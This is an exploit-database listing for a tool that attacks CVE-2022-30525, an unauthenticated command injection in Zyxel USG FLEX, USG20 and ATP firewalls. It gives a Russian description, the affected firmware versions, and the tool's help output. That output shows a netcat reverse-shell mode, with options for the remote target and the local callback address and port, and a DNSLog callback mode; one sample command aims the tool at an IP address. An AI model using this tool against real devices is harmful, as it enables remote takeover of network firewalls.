Sploitus

Exploit for CVE-2022-30525

kitploit · 2026-08-25

Exploit Code

MARKDOWN52 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-K0SF-CVE-2022-30525
# CVE-2022-30525

Удаленная команда внедрения без аутентификации в брандмауэре Zyxel

## Затронутые компоненты

USG FLEX 100, 100W, 200, 500, 700 USG20-VPN, USG20W-VPN ATP 100, 200, 500, 700, 800

## Версии прошивки

ZLD5.00 thru ZLD5.21 Patch 1 ZLD5.10 thru ZLD5.21 Patch 1 ZLD5.10 thru ZLD5.21 Patch

## help

root@kitploit:~
    
    
    [root@localhost ~]# ./CVE-2022-30525 -h
    NAME:
       CVE-2022-30525 - Zyxel Firewall Command Injection (CVE-2022-30525)
    
    USAGE:
       CVE-2022-30525 [global options] command [command options] [arguments...]
    
    COMMANDS:
       nc         use netcat listener
       dnslog, d  USE DNSLog
       help, h    Shows a list of commands or help for one command
    
    GLOBAL OPTIONS:
       --help, -h  show help (default: false)
    
    
    [root@localhost ~]# ./CVE-2022-30525 nc -h
    NAME:
       CVE-2022-30525 nc - use netcat listener
    
    USAGE:
       CVE-2022-30525 nc [command options] [arguments...]
    
    OPTIONS:
       --rhost value     The remote address to exploit
       --rport value     The remote port to exploit (default: 443)
       --lhost value     The local address to connect back to
       --lport value     The local port to connect back to (default: 1270)
       --protocol value  The protocol handler to use (default: https://)
       --ncpath value    The path to nc (default: /usr/bin/nc)
       --help, -h        show help (default: false)
    
    
    [root@localhost ~]# ./CVE-2022-30525 dnslog "http://192.168.0.123"